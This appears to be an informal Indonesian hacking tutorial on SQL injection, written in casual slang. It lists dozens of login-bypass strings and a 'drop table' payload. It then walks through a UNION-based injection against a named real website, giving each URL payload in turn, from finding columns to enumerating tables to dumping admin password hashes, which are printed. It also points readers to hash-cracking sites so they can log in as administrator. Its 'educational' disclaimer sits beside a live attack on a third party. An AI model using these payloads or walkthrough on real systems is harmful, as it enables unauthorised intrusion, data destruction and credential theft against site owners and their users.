*| SQl injection fro dummies
*| level basic
*| For educational
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
Biasanya Sql Injection dapat dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
nah, jika pada page login itu terdapat statement
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statement result setnya sebagai berikut :
select id, user_name,password from user where name = 'Aurel' and password='password gw'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out'
dari delimiter nya SQL Jadi kalau misal ada inputan
User: Aurel';drop table user--
akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginnya
aduh.....pusing yah.....
langsung aja deh prakteknya...
kalo ada kesalahan input tersebut, maka pada halaman login tersebut kita bisa memasukkan variable sqlnya, yah dengan harapan sang admin nya ga pinter2
coba cari halaman login suatu site
Kalau udah dapet masukin nich variable sql nya
user:admin
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau
user:' or 1=1--
admin:' or 1=1--
variabel lainnya
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
waduh kok ga bisa yah uda?? ya iya lah
admin sekarang banyak dah pinter soal ginian dan sudah memfilter inputan tersebut.
so.....gimana lagi bobol website itu uda......
waduh.......ga satu jalan menuju ke roma bos..
masih banyak jalan tikus lainnya.
OK gimana kita lanjut ke session 2
nah dikarenakan sang admin udah memfilternya, kita coba cari jalan laennya.
ok deh, karena pembahasan ini mengenai SQL injection. maka harus cari korban juga neh.
btw, kita akan coba pada 1 situs ini
Code:
http://www.signyband.comnah kita berusaha mencari vulnerable suatu situs.
buat mencari situs yg terindentifikasi kena penyakit ginian, maka kita kasi tanda quote '
nah penyakitnya udah kita ketemukan
Code:
http://www.signyband.com/news_detail.php?id=6'nah maka akan tampil error kaya gini
result
invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
lanjutin dah
cari fieldnya dengan perintah order by
Code:
http://www.signyband.com/news_detail.php?id=-6 order by 10/**
trus keluarin angka Togelnya dengan perintah Union Select
Code:
http://www.signyband.com/news_detail.php?id=-6 union select 1,2,3,4,5,6,7,8,9,10--
lah keluar tuh angka 3....
liat versi gunakan perintah version()
Code:
http://www.signyband.com/news_detail.php?id=-6 union select 1,2,version(),4,5,6,7,8,9,10--
begitupun dengan database kita menggunakan perintah database ()
Code:
http://www.signyband.com/news_detail.php?id=-6 union select 1,2,database(),4,5,6,7,8,9,10--
biar ga repot kita coba aja sekali tembak dengan perintah concat_ws dan buat pemisah kita bisa masukan sebagai pemisah 0x3a
Code:
http://www.signyband.com/news_detail.php?id=-6 union select 1,2,concat_ws(version(),0x3a,database()),4,5,6,7,8,9,10--
keluar kan tuh
:5.0.32-Debian_7etch8t71732_signydb
..................versi SQL 5 yah....lanjutin yuk...tanggung
keluarin dengan perintah table_name
syntaknya menjadi
union+select+no field+table_name+no field+from+information_schema.tables--
Code: Select all
http://www.signyband.com/news_detail.php?id=-6 union select 1,2,table_name,4,5,6,7,8,9,10 from information_schema.tables--
last
Code: Select all
http://www.signyband.com/news_detail.php?id=-6 union select 1,2,group_concat(username,0x3a,password),4,database(),6,7,8,9,10 from mod_tbluser--
admin:b44bb3b434b5b1d198a24667d58816818e9ce08a,signy:03d2e6ce2b16047d0bae8317b7ab8d82e3a6021b,slamet:7a85f4764bbd6daf1c3545efbbf0f279a6dc0beb
nah dapet tuh user ama passwordnya
tapi passwordnya masi di encrypt
nah buat decryptnya lo bisa cari di google.
kaya
http://passcracking.com atau di
http://milw0rm.comnah setelah dapet decryptnya lo bisa masuk kehalaman login dengan bermodalkan username dan password tersebut..
so....kalo dah berhasil masuk kehalaman situs itu, lo dah punya hak akses sebagai administrator.
...wuahhhhh...............capek juga yah
dah mo subuh ne...
semoga tutorial ini bisa jadi sedikit panduan buat elo2 pada yg pengen tau
so.....use for educational and dont attack this website